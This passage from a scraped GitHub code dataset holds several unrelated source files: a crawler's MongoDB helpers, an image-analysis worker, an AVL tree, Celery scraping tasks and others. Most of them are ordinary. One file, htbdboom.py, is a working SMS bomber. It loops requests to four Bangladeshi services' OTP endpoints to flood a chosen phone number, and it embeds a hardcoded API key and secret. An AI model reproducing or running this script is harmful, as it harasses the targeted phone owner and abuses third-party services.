message.value\n n += 1\n if verbose and n % 1000 == 0:\n print(\"Reported {} records. {}\".format(n, str(datetime.utcnow())))\n if n >= max:\n break\n\ndef save_url(db, artefact):\n result = db.urls.insert_one({ 'url': artefact.url, 'last_visited': artefact.when, 'origin': artefact.origin })\n assert result is not None\n return result.inserted_id\n\ndef save_script(db, artefact: DownloadArtefact, script: bytes):\n # NB: we work hard here to avoid mongo calls which will cause performance problems (hashing too)\n assert isinstance(artefact, DownloadArtefact)\n assert len(artefact.checksum) == 32 # length of an md5 hexdigest\n\n # 0. compute hashes to search for\n sum256 = hashlib.sha256(script).hexdigest()\n sum5 = hashlib.md5(script).hexdigest()\n if sum5 != artefact.checksum:\n raise ValueError(\"Expected MD5 and MD5 hash do not match: {} {} != {}\".format(artefact.url, sum5, artefact.checksum))\n\n # 1. save the url for this artefact\n url_id = save_url(db, artefact)\n\n script_len = len(script)\n assert len(sum256) > 0\n assert len(sum5) > 0\n\n key = { 'sha256': sum256, 'md5': sum5, 'size_bytes': script_len } \n value = key.copy() # NB: shallow copy is sufficient for this application\n value.update({ 'code': Binary(script) })\n\n # NB: to fix a data corruption bug from May 2020 - we implement this as follows:\n # 1) call find_one()\n # 2) if we find an existing record its sha256, md5 and size (in bytes) are validated\n # a) if valid, we return this js_id\n # b) if not valid, we create a new document and return that, reporting a corrupt ID\n # 3) if nothing is found in step (1) we insert a new document\n # In this way the corrupt records are left untouched and new code will just refer to clean records. A separate program will cleanup corrupt records.\n s = db.scripts.find_one(key)\n invalid_record = False\n is_cached = False\n if s is not None:\n assert '_id' in s\n assert 'code' in s\n code = s.get('code')\n #print(\"actual bytes={} md5={} sha256={}\".format(script_len, sum5, sum256))\n on_disk256 = hashlib.sha256(code).hexdigest()\n on_disk5 = hashlib.md5(code).hexdigest()\n #print(\"expected bytes={} md5={} sha256={}\".format(s.get('size_bytes'), on_disk5, on_disk256))\n invalid_record = any([ s.get('size_bytes') != script_len,\n on_disk256 != sum256,\n on_disk5 != sum5 ])\n if invalid_record:\n print(\"WARNING: corrupt db.scripts record seen: JS ID {} - will create new record for new data.\".format(s['_id']))\n # NB: keep track of how often we do this, to spot problematic records which for some reason are being \"fixed\" multiple times...\n db.analysis_content.find_and_update_one({ 'js_id': s['_id'] }, { \"$inc\": { \"corruption_fix_count\": 1 } })\n else:\n #print(\"Using existing record for sha256={}: JS ID {}\".format(sum256, s['_id']))\n is_cached = True\n # FALLTHRU...\n\n # 3. persist a new db.scripts record?\n if s is None or invalid_record:\n assert len(value['md5']) > 0\n assert len(value['sha256']) > 0\n assert value['size_bytes'] >= 0 # should we permit zero-byte scripts (yes... they do happen!)\n assert isinstance(value['code'], bytes)\n ret = db.scripts.insert_one(value)\n assert ret is not None \n s = { '_id': ret.inserted_id } # convert into something that code below can use...\n # FALLTHRU since we've now inserted... and there is nothing to validate for newly inserted scripts (rare once you've done a lot of crawling)\n\n # 4. and finally ensure the url -> script record is present also\n js_id = str(s.get('_id'))\n ret = db.script_url.insert_one({ 'url_id': url_id, 'script': js_id })\n assert ret is not None \n assert len(js_id) > 0\n return (key, js_id, is_cached)\n\n# https://stackoverflow.com/questions/8290397/how-to-split-an-iterable-in-constant-size-chunks\n# https://stackoverflow.com/questions/24527006/split-a-generator-into-chunks-without-pre-walking-it/24527424\ndef batch(iterable, n=1000):\n iterable = iter(iterable)\n while True:\n x = tuple(islice(iterable, n))\n if not x:\n return\n yield x\n\ndef save_control(db, url, family, variant, version, force=False, refuse_hashes=None, provider='', java='/usr/bin/java', feature_extractor=None, content=None):\n \"\"\"\n Update all control related data. Note callers must supply refuse_hashes (empty set) or an error will result\n\n Returns JavascriptArtefact representing control which has had its state updated into MongoDB\n \"\"\"\n assert url is not None\n assert family is not None\n assert version is not None\n if content is None:\n resp = requests.get(url)\n if resp.status_code != 200:\n raise ValueError(\"Failed to fetch [{}] {}\".format(resp.status_code, url))\n content = resp.content\n\n sha256 = hashlib.sha256(content).hexdigest()\n md5 = hashlib.md5(content).hexdigest()\n jsr = JavascriptArtefact(when=str(datetime.utcnow()), sha256=sha256, md5=md5 , url=url,\n inline=False, content_type='text/javascript', size_bytes=len(content))\n if jsr.size_bytes < 1000:\n print(\"Refusing artefact as too small to enable meaningful vector comparison: {}\".format(jsr))\n return jsr\n\n if not force and jsr.sha256 in refuse_hashes:\n print(\"Refusing to update existing control as dupe: {}\".format(jsr))\n return jsr\n\n bytes_content, failed, stderr = analyse_script(content, jsr, java=java, feature_extractor=feature_extractor)\n if failed:\n raise ValueError('Could not analyse script {} - {}'.format(jsr.url, stderr))\n ret = json.loads(bytes_content.decode())\n cntrl_url, subfamily = identify_control_subfamily(jsr.url)\n ret.update({ 'family': family, 'release': version, 'variant': variant, 'origin': url, 'sha256': sha256, 'md5': md5, 'size_bytes': len(content),\n 'do_not_load': False, # all controls loaded by default except alpha/beta/release candidate\n 'provider': provider, 'subfamily': subfamily })\n #print(ret)\n assert 'sha256' in ret\n assert 'md5' in ret\n assert 'size_bytes' in ret\n\n # NB: only one control per url/family pair (although in theory each CDN url is enough on its own)\n resp = db.javascript_controls.find_one_and_update({ 'origin': url, 'family': family },\n { \"$set\": ret }, upsert=True)\n db.javascript_control_code.find_one_and_update({ 'origin': url },\n { \"$set\": { 'origin': url, 'code': Binary(content), \n 'analysis_bytes': bytes_content, \n \"last_updated\": jsr.when } }, upsert=True)\n update_control_summary(db, url, \n ret['statements_by_count'], \n ret['calls_by_count'],\n ret['literals_by_count'])\n return jsr\n\ndef update_control_summary(db, url, ast_vector, function_call_vector, literal_vector, defensive=False):\n assert isinstance(url, str) and url.startswith(\"http\")\n\n vector, total_sum = calculate_ast_vector(ast_vector)\n if defensive:\n assert total_sum >= 50 # vectors smaller than this are too small to match accurately - and may indicate an issue with the download/code\n sum_of_function_calls = sum(function_call_vector.values())\n sum_of_literals = sum(literal_vector.values())\n vs = JavascriptVectorSummary(origin=url, \n sum_of_ast_features=total_sum,\n sum_of_functions=sum_of_function_calls, \n sum_of_literals=sum_of_literals, \n last_updated=str(datetime.utcnow()))\n ret = db.javascript_controls_summary.find_one_and_update({ 'origin': url }, { \"$set\": asdict(vs) }, upsert=True)\n\ndef load_controls(db, min_size=1500, all_vectors=False, load_all=False, verbose=False):\n # NB: vectors come from javascript_control_code where integrity is better implemented\n n = 0\n if load_all:\n load_constraints = {}\n else:\n load_constraints = { \"size_bytes\": { \"$gte\": min_size }, \"do_not_load\": False }\n for control in db.javascript_controls.find(load_constraints, { 'literals_by_count': 0, 'calls_by_count': 0 }):\n ast_vector, ast_sum = calculate_ast_vector(control['statements_by_count'])\n \n if all_vectors: \n bytes_content_doc = db.javascript_control_code.find_one({ 'origin': control['origin'] })\n if bytes_content_doc is None:\n print(\"WARNING: could not load code for {}\".format(control['origin']))\n continue\n assert bytes_content_doc is not None\n assert 'analysis_bytes' in bytes_content_doc\n vectors = json.loads(bytes_content_doc.get('analysis_bytes'))\n assert vectors is not None and 'statements_by_count' in vectors\n tuple = (control, ast_sum, ast_vector, vectors['calls_by_count'], vectors['literals_by_count'])\n else:\n tuple = (control, ast_sum, ast_vector)\n yield tuple\n n += 1\n\n if verbose:\n print(\"Loaded {} controls, each at least {} bytes\".format(n, min_size))\n","repo_name":"ozacas/spider-pi4-kafka-cluster","sub_path":"src/utils/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":14179,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"30"} +{"seq_id":"29572497136","text":"\nimport decode_clothID_v2 as decode_clothID\nfrom multiprocessing import Process, Queue, shared_memory\nfrom dataclasses import dataclass\nimport numpy as np\nfrom functools import reduce\nfrom utils import time_it\nimport time\nimport random\n\n@dataclass\nclass SharedMem_ImgTicket:\n index: int\n res: dict\n buf_size: any\n id: int\n\n\nclass ImageAnalyser_shared_mem():\n \"\"\"class to provide image analysis results\n using shared memory as the input\"\"\"\n def __init__(self, sharedmem_buffs: dict) -> None:\n self.sharedmem_bufs = sharedmem_buffs\n self.safe_index = None\n self.input_shared_mem_index_q = Queue(maxsize=1)\n self.analysis_output_q = Queue(maxsize=1)\n \n func_args = (\n self.input_shared_mem_index_q,\n self.analysis_output_q)\n\n process = Process(\n target=self.async_imganalysis_loop,\n args=func_args,\n daemon=True)\n\n process.start()\n\n def trigger_analysis(self, mapped_details: SharedMem_ImgTicket):\n print(\"putting record for analyis\", mapped_details)\n self.input_shared_mem_index_q.put(\n mapped_details,\n block=True,\n timeout=None)\n\n def async_imganalysis_loop(\n self,\n input_shared_mem_index_q,\n analysis_output_q):\n workingdata = decode_clothID.WorkingData()\n while True:\n # get index of last image buffer - this will be safe\n # until two conditions are met:\n # 1: a new asynchronous image has been generated\n # 2: we have called _next_ to get it\n print(\"ANALOL waiting in analysis loop for record\")\n shared_details = input_shared_mem_index_q.get(\n block=True,\n timeout=None\n )\n print(\"ANALOL received analysis details\", shared_details)\n with time_it(\"analyse lumotag\"):\n # shared memory is in chunks of 4096 - so have to slice it\n bytesize = reduce((lambda x, y: x * y), shared_details.res)\n # grab the image out of shared memory using the\n # information (index, resolution of image)\n # from the input queue (usually from image generator)\n img_buff = np.frombuffer(\n self.sharedmem_bufs[shared_details.index].buf,\n dtype=('uint8')\n )[0:bytesize].reshape(shared_details.res)\n contour_data = decode_clothID.find_lumotag(\n img_buff[0:500,0:500], workingdata)\n print(\"ANALOL waiting to put response\")\n\n analysis_output_q.put(contour_data, block=True, timeout=None)\n","repo_name":"LiellPlane/DJI_UE4_poc","sub_path":"Source/lumotag/analyse_lumotag.py","file_name":"analyse_lumotag.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"11701398751","text":"# 毒鸡汤getter\nfrom Spider import *\n\ndef GetPron():\n porn_html = GetHtml(\"https://8zt.cc/\")\n porn_soup = BS(porn_html, 'html.parser')\n\n porn = porn_soup.find_all('span')[0].string.strip()\n print(porn)\n return porn\n\ndef GetPronToSet(result:set):\n set.add(GetPron())\n\nif __name__ == \"__main__\":\n f = open(\"./Porns.txt\", mode='r', encoding='utf-8')\n lines = f.readlines()\n lines = [i.strip() for i in lines]\n\n porns = set(lines)\n for i in range(3):\n GetPronToSet(porns)\n time.sleep(3)\n\n f = open(\"./Porns.txt\", mode='w', encoding='utf-8')\n for porn in porns:\n f.write(porn+'\\n')\n","repo_name":"MeiZhou-Cube-Association/meizhou-cube-association.github.io","sub_path":"DataGetter/GetPorn.py","file_name":"GetPorn.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"34886930986","text":"import os\nos.system(\"clear\")\nimport smtplib\nimport json\nimport os\ntry:\n import requests\nexcept:\n os.system(\"pip install requests\")\n import requests\nimport time\nfrom requests.structures import CaseInsensitiveDict\n\nfrom urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\n#CVALUE\nblue= '\\33[94m'\nlightblue = '\\033[94m'\nred = '\\033[91m'\nwhite = '\\33[97m'\nyellow = '\\33[93m'\ngreen = '\\033[1;32m'\ncyan = \"\\033[96m\"\nend = '\\033[0m'\npurple=\"\\033[0;35m\"\nos.system('clear')\nline=red+\" The Tools Varson : 2.0 \"\n\nspace=\" \"\nos.system(\"clear\")\nlogo=print(cyan+\"\"\"\n▇◤▔▔▔▔▔▔▔◥▇\n▇▏◥▇◣┊◢▇◤▕▇HTBD\n▇▏▃▆▅▎▅▆▃▕▇TEAM ADMIN....\n▇▏╱▔▕▎▔▔╲▕▇ SMS\n▇◣◣▃▅▎▅▃◢◢▇B0MBER\n▇▇◣◥▅▅▅◤◢▇▇T00ls\n▇▇▇◣╲▇╱◢▇▇▇▇▇▇\n▇▇▇▇◣▇◢▇▇▇▇▇▇▇\n\"\"\")\n\ntext=lightblue+\"\\t\\tCreated By : \"+yellow+\"Easin Hosen Riju..... \t\tVarson: 2.0\"+cyan+\"\\n\\n\\t\\t★★ \"+purple+\"HTBD Team ADMIN\"+cyan+\"★★ \\n\" \ndef header():\n print(logo)\n print(text)\n print(line)\n\n#SEC \nheader()\nprint(red+\"____________________________________________________\")\nprint(blue+\"\\t\\tYou need to security key\")\nprint(red+\"---------------------------------------------------‌‌‌‌‌‌‌-\")\nn=2\nwhile n==2:\n a=str(input(cyan+\"\\n\\n\\t\\t[>] Entar HTBD Team Security ::::------: \"+green))\n if a==\"19170\":\n print(green+\"\\n\\n\\t\\t[ √ ] Request Accepted\")\n n=3\n else:\n print(red+\"\\n\\n\\t\\t[ × ] Incorrect security code!\\n\\t\\tPlease Try Again\")\n n=2\n text=str(input(\" press Entar To Continue :\t\"))\n\nimport os\nos.system(\" clear\")\nprint(\"\"\"\n▇◤▔▔▔▔▔▔▔◥▇\n▇▏◥▇◣┊◢▇◤▕▇HTBD..\n▇▏▃▆▅▎▅▆▃▕▇TEAM ADMIN..\n▇▏╱▔▕▎▔▔╲▕▇ SMS\n▇◣◣▃▅▎▅▃◢◢▇B0MBER\n▇▇◣◥▅▅▅◤◢▇▇T00ls\n▇▇▇◣╲▇╱◢▇▇▇\n▇▇▇▇◣▇◢▇▇▇▇ Devolvement By : Easin Hosen Riju\n\"\"\")\n\nimport requests\nfrom requests.structures import CaseInsensitiveDict\nnumber=str(input(\"Enter your number : \"))\namount=int(input(\"Enter the amount : \"))\nurl1 = \"https://ss.binge.buzz/otp/send/login\"\n\nheaders1 = CaseInsensitiveDict()\nheaders1[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n\ndata1 = \"phone=\"+number\n\n\n\n\nurl2 = \"https://api.daktarbhai.com/api/v2/otp/generate?=&api_key=BUFWICFGGNILMSLIYUVH&api_secret=WZENOMMJPOKHYOMJSPOGZNAGMPAEZDMLNVXGMTVE&mobile=%2B88\"+number+\"&platform=app&activity=login\"\n\nheaders2 = CaseInsensitiveDict()\nheaders2[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\nheaders2[\"Content-Length\"] = \"0\"\n\n\nurl3 = \"https://dev.10minuteschool.com/api/v4/auth/sendOtp?contact=88\"+number+''\n\nheaders3 = CaseInsensitiveDict()\nheaders3[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\nheaders3[\"Content-Length\"] = \"0\"\n\nurl4 = \"https://xrides.shohoz.com/api/v2/user/send-mobile-verification-code\"\n\nheaders4 = CaseInsensitiveDict()\nheaders4[\"Content-Type\"] = \"application/json\"\n\ndata4 = '{\\\"mobile\\\":\\\"'+number+'\\\"}'\n\n\n\nfor j in range (amount):\n resp1 = requests.post(url1, headers=headers1, data=data1)\n resp2 = requests.post(url2, headers=headers2)\n resp3 = requests.post(url3, headers=headers3)\n resp4 = requests.post(url4, headers=headers4, data=data4)\n\n print(str(j+1)+\"HTBD Send SMS\")","repo_name":"HackersTeamBangladesh/htbdboom","sub_path":"htbdboom.py","file_name":"htbdboom.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"39906839445","text":"import os, sys, string, types\nfrom PyQt4 import QtGui, QtCore\n\n#------------------------------------------------------------------------\n# Redirect the destination of sys.stderr to the UV-CDAT output window\n#------------------------------------------------------------------------\nclass OutLog:\n def __init__(self, parent, edit, color=None, original_stream=None):\n \"\"\"(edit, out=None, color=None) -> can write stdout, stderr to a\n QTextEdit.\n edit = QTextEdit\n out = alternate stream ( can be the original sys.stdout )\n color = alternate color (i.e. color stderr a different color)\n \"\"\"\n self.parent=parent\n self.edit = edit\n self.color = color\n self.original_stream = original_stream\n \n def flush(self):\n if self.original_stream: self.original_stream.flush()\n \n def write(self, stdtext):\n \"\"\" Write the text for standard out or error to the text editor window.\"\"\"\n if self.parent.dumpToWindow: \n tex = QtCore.QString(stdtext)\n if self.color is not None:\n self.edit.setTextColor(self.color) # if color, then it must be \"stderr\"\n else:\n self.edit.setTextColor( QtGui.QColor(0,0,0)) # if no color, then it must be \"stdout\"\n self.edit.insertPlainText( tex ) # show the text in the Qt Text Editor window\n\n\n #---------------------------------------------------------------------------------\n # scroll to bottom of Qt Text Editor window (always show the newly entered text\n #---------------------------------------------------------------------------------\n cursor = self.edit.textCursor()\n cursor.movePosition(cursor.End )\n self.edit.setTextCursor(cursor) \n\n if self.original_stream is not None:\n self.original_stream.write(stdtext)\n \n #if not dumping to calc window, write to original stream\n elif self.original_stream is not None:\n self.original_stream.write(stdtext)\n\n\n#------------------------------------------------------------------------\n# Command history list\n#------------------------------------------------------------------------\ncommandHistory = []\ncommand_num = 0\n","repo_name":"CDAT/VisTrails","sub_path":"vistrails/gui/uvcdat/systemCommands.py","file_name":"systemCommands.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"22701091197","text":"#!/usr/bin/python3\n\"\"\"write a file using UTF8 encoding\n\"\"\"\n\n\ndef write_file(filename=\"\", text=\"\"):\n \"\"\"function that writes a string to a text file\n\n Args:\n filename (str, optional): file name. Defaults to \"\".\n text (str, optional): text data. Defaults to \"\".\n \"\"\"\n char_num = 0\n\n with open(filename, mode=\"w\", encoding=\"UTF8\") as file:\n for data in text:\n file.write(data)\n char_num += 1\n return char_num\n","repo_name":"Kariaki58/alx-higher_level_programming","sub_path":"0x0B-python-input_output/1-write_file.py","file_name":"1-write_file.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"26285061590","text":"class AVLBinarySearchTree:\r\n items = {}\r\n\r\n def __init__(self):\r\n self.root = None\r\n\r\n def __len__(self): # Built in length function returns this value\r\n return self.length()\r\n\r\n def __getitem__(self, item): # a = AVLBinarySearchTree[key] will return the node of that key\r\n # To lookup or search a node by the key\r\n try:\r\n return AVLBinarySearchTree.items[item]\r\n except KeyError:\r\n return None\r\n\r\n def __contains__(self, item): # Built in function of in can be used\r\n if self.__getitem__(item):\r\n return True\r\n else:\r\n return False\r\n\r\n def __iter__(self): # to iterate in loops\r\n return iter(AVLBinarySearchTree.items.values())\r\n\r\n def __setitem__(self, k, v): # dictionary implementation can be used\r\n self.put(k, v)\r\n\r\n def __delitem__(self, k): # delete function can be used\r\n self.delete_key(k)\r\n\r\n def get(self, item):\r\n return self.__getitem__(item)\r\n\r\n def length(self):\r\n return len(AVLBinarySearchTree.items)\r\n\r\n def put(self, k, v):\r\n if self.root is not None:\r\n self._put(k, v, self.root)\r\n else:\r\n self.root = Node(k, v)\r\n AVLBinarySearchTree.items[k] = self.root\r\n\r\n def _put(self, k, v, current):\r\n if k > current.key:\r\n if current.right is None:\r\n current.right = Node(k, v)\r\n current.right.parent = current\r\n AVLBinarySearchTree.items[k] = current.right\r\n current = current.right\r\n self.find_pivot(current)\r\n else:\r\n self._put(k, v, current.right)\r\n elif k < current.key:\r\n if current.left is None:\r\n current.left = Node(k, v)\r\n current.left.parent = current\r\n AVLBinarySearchTree.items[k] = current.left\r\n current = current.left\r\n self.find_pivot(current)\r\n else:\r\n self._put(k, v, current.left)\r\n else:\r\n print('Duplicate keys')\r\n \r\n def find_pivot(self, current):\r\n lst = []\r\n while current is not None:\r\n un = self.unbalanced_node(current)\r\n if -1 <= un <= 1:\r\n lst.append(current)\r\n else:\r\n self.pivot(current, lst, un)\r\n lst = []\r\n current = current.parent\r\n\r\n def pivot(self, current, lst, unbalanced):\r\n if len(lst) < 2:\r\n print('Somethings not right')\r\n return\r\n if current.left in lst:\r\n child = current.left\r\n else:\r\n child = current.right\r\n if child.left in lst:\r\n grand_child = child.left\r\n else:\r\n grand_child = child.right\r\n if unbalanced > 1:\r\n if child.left == grand_child:\r\n self.right_rotation(current)\r\n elif child.right == grand_child:\r\n self.left_rotation(child)\r\n self.right_rotation(current)\r\n else:\r\n print('left cases')\r\n elif unbalanced < -1:\r\n if child.left == grand_child:\r\n self.right_rotation(child)\r\n self.left_rotation(current)\r\n elif child.right == grand_child:\r\n self.left_rotation(current)\r\n else:\r\n print('right cases')\r\n\r\n def unbalanced_node(self, current):\r\n if current.left is not None:\r\n l = self.height(current.left)\r\n else:\r\n l = 0\r\n if current.right is not None:\r\n r = self.height(current.right)\r\n else:\r\n r = 0\r\n current.balance = l - r\r\n return current.balance\r\n \r\n def height(self, current):\r\n if current.left is not None:\r\n l_height = self.height(current.left)\r\n else:\r\n l_height = 0\r\n if current.right is not None:\r\n r_height = self.height(current.right)\r\n else:\r\n r_height = 0\r\n if l_height > r_height:\r\n return l_height + 1\r\n else:\r\n return r_height + 1\r\n\r\n def right_rotation(self, current):\r\n left_node = current.left\r\n par = current.parent\r\n if self.root != current:\r\n if par.left == current:\r\n par.left = left_node\r\n else:\r\n par.right = left_node\r\n \r\n else:\r\n self.root = left_node\r\n left_node.parent = par\r\n current.parent = left_node\r\n if left_node.right is not None:\r\n current.left = left_node.right\r\n left_node.right = current\r\n current.left.parent = current\r\n else:\r\n left_node.right = current\r\n current.left = None\r\n \r\n def left_rotation(self, current):\r\n right_node = current.right\r\n par = current.parent\r\n if self.root != current:\r\n if par.left == current:\r\n par.left = right_node\r\n else:\r\n par.right = right_node\r\n else:\r\n self.root = right_node\r\n right_node.parent = par\r\n current.parent = right_node\r\n if right_node.left is not None:\r\n current.right = right_node.left\r\n right_node.left = current\r\n current.right.parent = current\r\n else:\r\n right_node.left = current\r\n current.right = None\r\n \r\n def min_value(self): # To find the node with minimum value of key\r\n if self.root is None:\r\n print('No nodes')\r\n return self\r\n else:\r\n current = self.root\r\n while current.left is not None:\r\n current = current.left\r\n return current\r\n\r\n def max_value(self): # To find the node with maximum value of key0\r\n if self.root is None:\r\n print('No nodes')\r\n return self\r\n else:\r\n current = self.root\r\n while current.right is not None:\r\n current = current.right\r\n return current\r\n\r\n def print(self, l, order='inorder'):\r\n if order == 'inorder':\r\n self.print_in_order(l, self.root)\r\n elif order == 'preorder':\r\n self.print_pre_order(l, self.root)\r\n elif order == 'postorder':\r\n self.print_post_order(l, self.root)\r\n print(l)\r\n\r\n def print_in_order(self, l, current):\r\n if current is None:\r\n return\r\n # First recur on the left child then print data then right child\r\n # Gives non - decreasing order for BST\r\n if current.left is not None:\r\n self.print_in_order(l, current.left)\r\n l.append(current.key)\r\n if current.right is not None:\r\n self.print_in_order(l, current.right)\r\n\r\n def print_pre_order(self, l, current):\r\n if self is None:\r\n return\r\n # First print data then left child then right child\r\n # To create copy of the tree\r\n l.append(current.key)\r\n if current.left is not None:\r\n self.print_in_order(l, current.left)\r\n if current.right is not None:\r\n self.print_in_order(l, current.right)\r\n\r\n def print_post_order(self, l, current):\r\n if self is None:\r\n return\r\n # First recur on the left tree then right tree then print data\r\n # To delete tree\r\n if current.left is not None:\r\n self.print_in_order(l, current.left)\r\n if current.right is not None:\r\n self.print_in_order(l, current.right)\r\n l.append(current.key)\r\n\r\n def delete_key(self, k): # To delete the node by searching key\r\n if self.root is None:\r\n return self\r\n tmp = self.get(k)\r\n if tmp is None:\r\n print('key is not present in the binary search tree')\r\n elif tmp.parent is None:\r\n print('Root node is to be deleted')\r\n if tmp.left is None and tmp.right is None:\r\n self.root = None\r\n AVLBinarySearchTree.items.pop(tmp.key)\r\n return\r\n elif tmp.left is None and tmp.right is not None:\r\n self.root = tmp.right\r\n self.root.parent = None\r\n AVLBinarySearchTree.items.pop(tmp.key)\r\n elif tmp.right is None and tmp.left is not None:\r\n self.root = tmp.left\r\n self.root.parent = None\r\n AVLBinarySearchTree.items.pop(tmp.key)\r\n else:\r\n succ = tmp.right\r\n while succ.left is not None:\r\n succ = succ.left\r\n tmp.key, succ.key = succ.key, tmp.key\r\n tmp.val, succ.val = succ.val, tmp.val\r\n par = succ.parent\r\n if succ.right is None:\r\n if par.left == succ:\r\n par.left = None\r\n else:\r\n par.right = None\r\n else:\r\n if par.left == succ:\r\n par.left = succ.right\r\n else:\r\n par.right = succ.right\r\n self.find_pivot_del(par)\r\n AVLBinarySearchTree.items.pop(succ.key)\r\n elif tmp.left is None and tmp.right is None:\r\n par = tmp.parent\r\n if par.left == tmp:\r\n par.left = None\r\n else:\r\n par.right = None\r\n AVLBinarySearchTree.items.pop(tmp.key)\r\n self.find_pivot_del(par)\r\n elif tmp.right is None and tmp.left is not None:\r\n par = tmp.parent\r\n tmp.left.parent = par\r\n if par.left == tmp:\r\n par.left = tmp.left\r\n else:\r\n par.right = tmp.left\r\n AVLBinarySearchTree.items.pop(tmp.key)\r\n self.find_pivot_del(par)\r\n elif tmp.left is None and tmp.right is not None:\r\n par = tmp.parent\r\n tmp.right.parent = par\r\n if par.left == tmp:\r\n par.left = tmp.right\r\n else:\r\n par.right = tmp.right\r\n AVLBinarySearchTree.items.pop(tmp.key)\r\n self.find_pivot_del(par)\r\n elif tmp.left is not None and tmp.right is not None:\r\n succ = tmp.right\r\n while succ.left is not None:\r\n succ = succ.left\r\n tmp.key, succ.key = succ.key, tmp.key\r\n tmp.val, succ.val = succ.val, tmp.val\r\n par = succ.parent\r\n if succ.right is None:\r\n if par.left == succ:\r\n par.left = None\r\n else:\r\n par.right = None\r\n else:\r\n if par.left == succ:\r\n par.left = succ.right\r\n else:\r\n par.right = succ.right\r\n self.find_pivot_del(par)\r\n AVLBinarySearchTree.items.pop(succ.key)\r\n\r\n def find_pivot_del(self, current):\r\n print('o', current.key)\r\n while current is not None:\r\n un = self.unbalanced_node(current)\r\n if -1 <= un <= 1:\r\n pass\r\n else:\r\n print('happened')\r\n self.pivot_del(current, un)\r\n current = current.parent\r\n\r\n def pivot_del(self, current, unbalanced):\r\n child = self.larger_child(current)\r\n grand_child = self.larger_child(child)\r\n if unbalanced > 1:\r\n if child.left == grand_child:\r\n self.right_rotation(current)\r\n elif child.right == grand_child:\r\n self.left_rotation(child)\r\n self.right_rotation(current)\r\n else:\r\n print('left cases')\r\n elif unbalanced < -1:\r\n if child.left == grand_child:\r\n self.right_rotation(child)\r\n self.left_rotation(current)\r\n elif child.right == grand_child:\r\n self.left_rotation(current)\r\n else:\r\n print('right cases')\r\n\r\n def larger_child(self, current):\r\n if current.left is not None:\r\n l = self.height(current.left)\r\n else:\r\n l = 0\r\n if current.right is not None:\r\n r = self.height(current.right)\r\n else:\r\n r = 0\r\n if l > r:\r\n return current.left\r\n else:\r\n return current.right\r\n\r\n\r\nclass Node:\r\n def __init__(self, k, v=0): # k is the key of node and v is the value of node with default v value is 0\r\n self.val = v\r\n self.right = None\r\n self.left = None\r\n self.key = k\r\n self.parent = None\r\n self.balance = 0\r\n \r\n def replace(self, k, v, lc=None, rc=None): # k is key v is value lc is left child and rc is right child\r\n self.key = k\r\n self.val = v\r\n self.right = rc\r\n self.left = lc\r\n if self.right is not None:\r\n self.right.parent = self\r\n if self.left is not None:\r\n self.left.parent = self\r\n\r\nif __name__ == '__main__':\r\n t = AVLBinarySearchTree()\r\n t[5] = '5'\r\n t[3] = '3'\r\n t[6] = '6'\r\n t[2] = '2'\r\n t[1] = '1'\r\n t[0] = '0'\r\n t[7] = '8'\r\n e = []\r\n t.print(e, 'inorder')\r\n t.delete_key(0)\r\n print(t.root.right.right.key)\r\n","repo_name":"deveshaggrawal19/projects","sub_path":"Data Structures/AVL_Binary_Search_Tree.py","file_name":"AVL_Binary_Search_Tree.py","file_ext":"py","file_size_in_byte":13555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"946071182","text":"pkgname = \"lua5.1-bitop\"\npkgver = \"1.0.2\"\npkgrel = 1\nbuild_style = \"makefile\"\nmake_check_target = \"test\"\nmakedepends = [\"lua5.1-devel\"]\npkgdesc = \"Lua module for bitwise operations\"\nmaintainer = \"yopito \"\nlicense = \"MIT\"\nurl = \"http://bitop.luajit.org\"\nsource = f\"{url}/download/LuaBitOp-{pkgver}.tar.gz\"\nsha256 = \"1207c9293dcd52eb9dca6538d1b87352bd510f4e760938f5048433f7f272ce99\"\n\n\ndef do_install(self):\n self.install_license(\"README\")\n self.install_file(\"bit.so\", \"usr/lib/lua/5.1\", mode=0o755)\n","repo_name":"chimera-linux/cports","sub_path":"contrib/lua5.1-bitop/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"36"} +{"seq_id":"24939469694","text":"import os\nimport logging\n\nfrom celery import Celery\nfrom celery.schedules import crontab\n\nfrom utils import scrape_movies\n\nBROKER_URL = os.environ[\"BROKER_URL\"]\nAPI_KEY = os.environ[\"API_KEY\"]\nAPI_POST_URL = os.environ[\"API_POST_URL\"]\nMAX_WORKERS = int(os.environ[\"MAX_WORKERS\"])\nMAX_PAGE = int(os.environ[\"MAX_PAGE\"])\n\nlogger = logging.getLogger(__name__)\n\napp = Celery(\"tasks\", broker=BROKER_URL)\n\n\n@app.on_after_configure.connect\ndef setup_periodic_tasks(sender, **kwargs):\n sender.add_periodic_task(\n crontab(minute=\"*/30\"),\n scrape.s(API_KEY, API_POST_URL, MAX_WORKERS, MAX_PAGE),\n name=\"scrape films every 30 min\",\n )\n\n\n@app.task\ndef scrape(api_key, api_post_url, max_workers, max_page):\n scrape_movies(api_key, api_post_url, max_workers, max_page)\n","repo_name":"lbellomo/movie_review","sub_path":"tasks/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"16624141789","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n#\r\n# lab_03_04_02.py\r\n# \r\n# Copyright 2021 MBilly \r\n# \r\n# This program is free software; 